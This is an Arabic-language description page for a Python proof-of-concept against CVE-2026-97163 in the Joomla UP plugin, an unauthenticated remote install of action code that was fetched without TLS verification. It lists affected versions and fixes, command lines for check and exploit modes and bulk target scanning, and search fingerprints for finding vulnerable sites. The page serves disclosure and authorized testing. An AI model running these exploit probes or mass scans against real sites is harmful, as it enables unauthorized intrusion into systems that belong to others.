
أداة إثبات مفهوم بلغة Python للثغرة CVE-2026-97163: تحدد بصمة إصدارات إضافة Joomla UP وتتحقق من محفزات التثبيت في com_ajax لنشر إجراءات عن بُعد دون مصادقة.
إثبات مفهوم (PoC) بلغة Python 3 لـ CVE-2026-97163 — UP (Universal Plugin) لـ Joomla (lomart.fr).
CVE-2026-97163 — تسمح UP 5.0.0–5.2.0 و6.0.0–6.0.29 (وخاصة حزمة mini بدون الإجراءات المضمّنة) بـتثبيت تعليمات برمجية عن بُعد دون مصادقة: يمكن لطلب مجهول أن يبدأ تنزيلًا عند الطلب لتعليمات الإجراء البرمجية من مستودع GitHub الخاص بالمطوّر إلى plugins/content/up/actions/، حيث ينفّذها Joomla. جرى الجلب مع تعطيل التحقق من شهادة TLS، لذا كان بإمكان مهاجم في موضع شبكي (MITM) استبدال الأرشيف بأرشيف خبيث (CWE-22، CWE-284). CVSS 4.0 10.0 حرج (PR:N). الإصلاح: UP 6.1.0 / 5.2.1 (قيود المصادقة + استعادة التحقق من TLS).
البحث: mySites.guru — إصلاحات أمان UP 6.1.0
ذات صلة (نفس الإصدار): CVE-2026-97160 (اختصار PHP)، CVE-2026-97161 (قراءة ملف)، CVE-2026-97162 (SQLi).
صفحة PoC: https://pocbit.org/pocs/cve-2026-97163
الفهرس: https://pocbit.org/pocs/
| المنتج | إضافة UP (plg_content_up) |
| المتأثر | 5.0.0–5.2.0، 6.0.0–6.0.29 |
| المُصلَح | 5.2.1، 6.1.0 |
| المتجه | وضع Mini: أول استخدام لإجراء → zip من GitHub → فك الضغط تحت الإضافة |
| التأثير | السلامة / تنفيذ تعليمات برمجية عن بُعد (مع MITM أو مسار جلب مخترق) |
يقوم إثبات المفهوم هذا بالتعرّف على UP، والتحقق من الإصدارات المتأثرة، واستكشاف أنماط com_ajax (أو --ajax-url / --render-url من مختبرك). لا ينفّذ هجمات MITM ولا يستضيف أرشيفات خبيثة.
pip install -r requirements.txt
python poc.py -u https://joomla.example --mode check
python poc.py -u https://joomla.example --mode check --install-probe
python poc.py -u https://joomla.example --mode exploit --install-probe --action slideshow-billboard
python poc.py -u https://joomla.example --mode exploit --render-url "https://joomla.example/index.php?option=com_content&view=article&id=99"
python poc.py -u https://joomla.example --mode exploit --ajax-url "https://joomla.example/index.php?option=com_ajax&group=content&plugin=up&..."
python poc.py --list targets.example.txt --mode check --install-probe -j 8
بعد الترقيع: افحص plugins/content/up/actions/ بحثًا عن مجلدات PHP غير معروفة (إرشادات المورّد).
body="plugins/content/up"
body="plg_content_up" "up.lomart"
CVE-2026-97163 PoC: Joomla UP (lomart.fr) تثبيت mini غير مُصادَق عبر GitHub / نشر إجراء عن بُعد (≤6.0.29). كشف الإصدار + استكشافات تثبيت com_ajax. PoCbit
CVE-2026-97163: في حزمة mini الخاصة بـ UP يمكن تحفيز تنزيل action من GitHub دون جلسة؛ ولأن التحقق من TLS معطّل، يمكن حقن أرشيف خبيث عبر MITM. تصحيحات 6.1.0 / 5.2.1.
للاختبار المصرّح به فقط.